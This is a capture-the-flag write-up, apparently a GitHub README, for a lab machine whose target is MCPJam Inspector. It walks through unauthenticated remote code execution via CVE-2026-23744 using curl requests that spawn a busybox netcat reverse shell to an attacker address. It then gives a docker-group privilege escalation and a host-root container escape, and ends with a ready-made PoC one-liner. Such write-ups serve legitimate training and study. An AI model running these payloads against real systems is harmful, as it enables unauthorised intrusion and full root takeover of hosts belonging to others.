Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

README.md

layout default
title Kobold
parent Easy Machines
grand_parent Machines
permalink /machines/easy/kobold/

Kobold

Machine Badge OS Difficulty Season

Property Value
OS Linux
Difficulty Easy
Release 2026-03-21 (Season 10, Week 8)
Creator sau123
Tags #mcp #ai #cve-2026-23744 #rce #docker-escape #busybox

Summary

Kobold targets MCPJam Inspector v1.4.2, a developer tool for testing Model Context Protocol (MCP) servers. The /api/mcp/connect endpoint passes the command field directly into Node.js child_process.spawn() with no authentication or sanitisation (CVE-2026-23744), giving unauthenticated RCE. Initial foothold lands as user ben. Privilege escalation is via a dormant docker group membership - newgrp docker activates it, after which a privileged container with the host root filesystem bind-mounted gives full root.


External Writeups


Key Techniques

  • CVE-2026-23744: Unauthenticated RCE in MCPJam Inspector /api/mcp/connect
  • child_process.spawn() command injection (Node.js)
  • MCP server registration as RCE primitive
  • Busybox reverse shell payload
  • Dormant docker group activation via newgrp
  • Docker container escape via host root bind mount

Attack Path

1. Recon

nmap -p- --min-rate=10000 -sV -sC kobold.htb
# 22/tcp  ssh
# 80/tcp  http -> MCPJam Inspector v1.4.2

2. CVE-2026-23744 - Unauth RCE

The vulnerability sits in the API endpoint that connects to MCP servers. Body is parsed and command is passed to child_process.spawn(command, args) with no auth, no allowlist:

curl -s -X POST http://kobold.htb/api/mcp/connect \
  -H 'Content-Type: application/json' \
  -d @- <<'JSON'
{
  "name": "pwn",
  "command": "busybox",
  "args": ["sh", "-c", "busybox nc <ATTACKER> 4444 -e /bin/sh"]
}
JSON

Listener catches shell as ben:

nc -lvnp 4444
# whoami -> ben

3. Privilege Escalation - Docker Group

id
# uid=1000(ben) gid=1000(ben) groups=1000(ben)

# But supplementary groups not yet active in the spawned shell - check /etc/group
grep docker /etc/group
# docker:x:998:ben

newgrp docker
id
# uid=1000(ben) ... groups=1000(ben),998(docker)

With docker group, escape to root:

docker run -v /:/host --rm -it alpine chroot /host bash
# whoami -> root
cat /root/root.txt

Lessons Learned

  • MCP / AI dev tooling expects "trusted local environment" - never expose to network.
  • child_process.spawn(userInput, ...) without an allowlist is RCE by design.
  • docker group membership = root equivalent. Sub-shells may not auto-load supplementary groups; newgrp re-evaluates /etc/group.
  • Container escape via bind-mounted host root is the canonical post-docker-group move - no kernel exploit, no breakout magic, just -v /:/host.

PoC One-Liner

TARGET=kobold.htb; LHOST=10.10.14.5; LPORT=4444; \
curl -s -X POST http://$TARGET/api/mcp/connect \
  -H 'Content-Type: application/json' \
  -d "{\"name\":\"x\",\"command\":\"busybox\",\"args\":[\"sh\",\"-c\",\"busybox nc $LHOST $LPORT -e /bin/sh\"]}"